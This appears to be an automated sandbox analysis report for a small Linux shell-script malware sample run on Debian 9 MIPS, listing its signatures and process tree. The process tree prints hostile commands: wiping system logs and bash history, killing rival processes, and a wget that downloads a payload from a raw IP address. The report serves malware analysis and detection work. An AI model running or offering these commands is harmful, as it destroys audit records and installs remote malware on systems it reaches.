Overview

overview

7

Static

static

1

b252e8d27c...bin.sh

ubuntu-18.04-amd64

7

b252e8d27c...bin.sh

debian-9-armhf

7

b252e8d27c...bin.sh

debian-9-mips

6

b252e8d27c...bin.sh

debian-9-mipsel

6

Analysis

  • max time kernel
    133s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/11/2026, 03:12

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General

  • Target
    b252e8d27c5f8a30346345df9d62d86153c189ca9270cd99cbee3c3a4b1eb322.bin.sh
  • Size 6KB
  • Sample261111-dp8yyaea29
  • SHA256 b252e8d27c5f8a30346345df9d62d86153c189ca9270cd99cbee3c3a4b1eb322
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
discovery

Malware Config

Signatures

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 1 IoCs
    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b252e8d27c5f8a30346345df9d62d86153c189ca9270cd99cbee3c3a4b1eb322.bin.sh
    /tmp/b252e8d27c5f8a30346345df9d62d86153c189ca9270cd99cbee3c3a4b1eb322.bin.sh
    1⤵
      PID:717
      • /usr/bin/head
        head -c 6
        2⤵
          PID:723
        • /usr/bin/head
          head -c 32 /dev/urandom
          2⤵
            PID:721
          • /usr/bin/tr
            tr -dc a-z
            2⤵
              PID:722
            • /bin/uname
              uname -m
              2⤵
                PID:729
              • /usr/bin/id
                id -u
                2⤵
                • Reads runtime system information
                PID:731
              • /bin/rm
                rm -f /var/log/messages /var/log/syslog /var/log/auth.log /var/log/secure /var/log/wtmp
                2⤵
                  PID:733
                • /bin/rm
                  rm -f "~/.bash_history"
                  2⤵
                    PID:735
                  • /usr/bin/pkill
                    pkill -9 -f "kworker-helper|dhcpcd-monitor|ntpd-sync|udevd-helper|syslogd-rotate|crond-helper|netlink-monitor|mdev-trigger|avahi-helper|dbus-monitor|logrotate-svc|tmpfiles-clean|resolved-helper|busybox-svc|dropbear-agent|iptables-helper|sysd"
                    2⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:737
                  • /usr/bin/killall
                    killall -9 kworker-helper dhcpcd-monitor ntpd-sync udevd-helper syslogd-rotate crond-helper netlink-monitor mdev-trigger avahi-helper dbus-monitor logrotate-svc tmpfiles-clean resolved-helper busybox-svc dropbear-agent iptables-helper sysd
                    2⤵
                    • Reads runtime system information
                    PID:741
                  • /usr/bin/wget
                    wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O h "http://168.220.248.106:9087/payload/a6i3khk75wgf/7rfyhaitra?t=49d07da4b59b312270ad37c8a6b1a42ace224d7244efc0cee97ca4128f9c7ea5"
                    2⤵
                    • Writes file to tmp directory
                    PID:744

                Network

                      MITRE ATT&CK Enterprise v16

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